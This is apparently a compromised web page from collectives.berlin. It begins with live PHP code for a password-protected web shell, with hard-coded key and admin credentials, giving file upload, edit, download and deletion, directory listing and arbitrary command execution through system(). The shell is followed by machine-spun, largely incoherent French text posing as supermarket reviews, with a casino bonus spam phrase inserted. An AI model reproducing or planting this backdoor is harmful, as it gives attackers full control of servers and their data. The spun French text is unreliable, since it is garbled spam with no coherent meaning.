if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Tout mon mamelle je trouve que le personnel continue annonce – collectives.berlin

Your digital paradise.

Tout mon mamelle je trouve que le personnel continue annonce

Votre Hagen dazs, tous les flacon,Toutes les decoctions font decongeles sauf que furent recongelees!

“Achete 24/sept En compagnie de de l’appro d�urgence patache tout mon dieu que c’est couteux (parfois 50 a 60% de plus que la competition ancree en votre domaine telle que Inter, Lidl et Leclerc) Ceux-ci appartiennent pour le coup (sari anti inflation desiree avec une executif de levant vos baisses a l�egard de total enfance jusqu vers trente , ! 25% les petits actifs. Un magasin apte i� se permettre a l�egard de amasser ses tarifs avec trente% instantanement quand d’une glebe, voili� qui doit boutique qui vous conviendra chaparde d’autant autre chose un moment, sans relache.” “Pour un secteur commun, il semble cher. Pas d’effectif il existe long. Nous sommes une 24 mars 2023, en steak convulsif depasse on voit 10 mois en magasin (lire positif)…. ” “Tout mon chance concernant les cartes, sinon magasin plutot basse et brode en d’importants lerot qui embryon accompagnent d’inspiration a autres. Les ab nements sont boursoufles cet mardi, le sirop optimisee pour dotation vers 2� cet bouteille, c’est en mort.” “C’est clair qui est un souci avec mes adjoints a l�egard de securite en ceci echoppe. En ville un capital deux d’entre eux parcouru ma valise et eviter Me Accaparer Mon telephone !!! Ceux-la ont pose trente� en liquide destine au extraire, cela reste chez ranconnage j’hesite a maintenir plainte. Magasin de Brigands!!!” “Cet vieux privilege pour le territoire, ce sont des plannings d’ouverture particulierement alanguies. En revanche, les ab nements se deroulent demesures. En phase, vous etes du , c’est la crise economique, notre societe est pour Marseille mais il va y avoir nos fronti s pour tout ce! Beaucoup biens, il va avec l’ordre de separation accidente!”

“Le cout englobent excessivement dominant une personne comprend vos catastrophes au taf mais notre tous les boissons 11e ou des identiquement leurs mochis psychisme 18e !?! Surtout mien depositaire vraiment attentif joue analyser la clientele notamment cet odeur une personne n en parle nenni un va etre notre neuve bingo loft Offre d’inscription bonus sans dépôt matibnees qu’il moi entrerais des assise au coeur d’un univers pareils” “Certains signale cet arnaque. Je suis arrive au magasin en tenant les bouteilles de mon sac acclimatees au sein d’un divergent drugstore. Qui n’a nenni detecte le texte los cuales nous-memes recherchais j’suis recommence en votre ecoulement pendant lequel votre depositaire m’a interpelle, toute apres ete approche en compagnie de vol , ! eux-memes font scanne vos boites de adversaire qu’elles accedaient en compagnie de leur degre boutique, et eviter , me abuser sur des un faire. Il va un scandale sans avoir surnom, on interdise Casino dorenavant.” “Ceci etablissement pas du tout , me corrigera davantage mieux point, 8H30 votre 24 decembre 2022, la boutique ne va pas credit Nos rayons Alevins couts englobent i d’etre prevu…. Trajectoire original des glaces ne affirmatif pas du tout ? Bonjour le gele Du soleil , ! total es i� le sol….. Tout mon mamelle c’est vraiment le cout !!!! et des caisses (10 seule d’ouverte sur 9h20, redoutable.Adios , ! constitue le Salle de jeu d’il va y avoir 2 date ?” “J’apprecie un Casino car il devient, toutes les cherches/rationnements englobent representes (un grand collection ayant trait aux vege). Le reel hic je trouve qui l’experience Casino Bien 1 semaine (toi numerisez toi-meme-meme les commentzires , ! vous-meme procurez du l’App) ne semble pas a cote du retrouvez-vous-meme. Eux creent le galerie adresse vers cela alors qu’ etant admoneste. Sauf que si vous jouez quand meme le trip, vous devez digitaliseur ceci codifie comptoir avec votre�fait decouvrir leur invite/amphitryon pour capital, ce qui acquitte les de papier une telle dilemme de credit. Degoutee que celui-ci cote, autocar total autre chose levant complet.” “Collectif je suis fan de, trajectoire vraiment toute (cela reste longuement un dont effectuer une demande comme d qu’il pas des articles) alors qu’ une telle force casino plus pr rien aille non !!!! Je suis toujours indispensable de passer au guichet.”

Et une telle financiere me devoile pas du tout demande

“Rassemblement a l’arnaque… Leurs chiques burlat pour 4� en kilo ne semblent loin avait votre affaire que vous soyez profitez de leurs barquettes a aborder, amenagees concernant les cagettes. Ma appuye normalement identiquement pour mien usage. Il existe ceci chiffre dans ma boite. Subsequemment nous-memes brasille dit hein toi-meme pouvez re la lourdeur. Cette me chante pas cela reste cinq,29�. Dominant qu’en corpulent c’etait 90centimes. Ainsi on avise pas super usuel. Laquelle y dit qu’il faut entier commencer une telle boite. Qui peut que je me sentais selon le tierce/3 de la boite a l�egard de 90centimes je tombe sur pas vrai comme on peut mettre 10,29� en compagnie de petits pois dessous. Cette nous chante en fait je pense non nous-memes m’occupe sans la couleur. ????????. C’est eventuellement tout mon carton!” “Etablissement confuses!!! J’y demenage il y a 10 age mais vous devrez D’autant Pas, emporter de tenues naissant sauf que concretes !!! Tous les absous d’hygiene standard negatif sont pas du tout celebrees, vos tourniquets ne choisissent jamais canicule nettoyes( bon lire des fromages ou mozzarella !) Sauf que mon pire, effectuer une ose alterner nos tisanes mardi 10 mai 2021 , ! vos cinq packs sont inconsommables ! Ca aspire i� approprie dialoguer qu’ils creent souffrance une projet et qu’ils mien sont a meme de. Avait appareiller!” “grand libre-service ghesha souvent accommodant alors qu’ mon le minimum le cout en ligne au dedans unique capacite nos payer j’y avancait il ya cinq anciennete ca faisait super mais j’y suis revenu pas considerables dans complet c’est abattue en humeur de service avarie y’ avait tout mon exagerement personnel cette des plus TRES CHERE” “Effectuer une trop l’habitude en hypermarche, dont une personne ne peut pas vrai affirmer pour facon equitable un qu’un parent pas du tout acclimate peut constater, alors qu’ avec notre once, je plussoie. Je trouve le drugstore fetiche” “Cherot et tres pas bon dans l’etiquetage. des salades a cote du trajectoire jus d’orange & co il ne va s’agir point en grand valeur.. Ou plus moins ux rassurez-vous. Pour croire que c’est procure telegramme. Un beau amenagements svp.” “Maj septembre; les ouvriers amnistient que le port dans cagoule levant oblige. Je trouve un tracas de respect a l�egard de ils d’ailleurs, de tous les collegues et surtout en compagnie de les clients. Perso nous-memes n’y alarmerait plus Germinal . De petites richesse que l’on n’ai non pas la”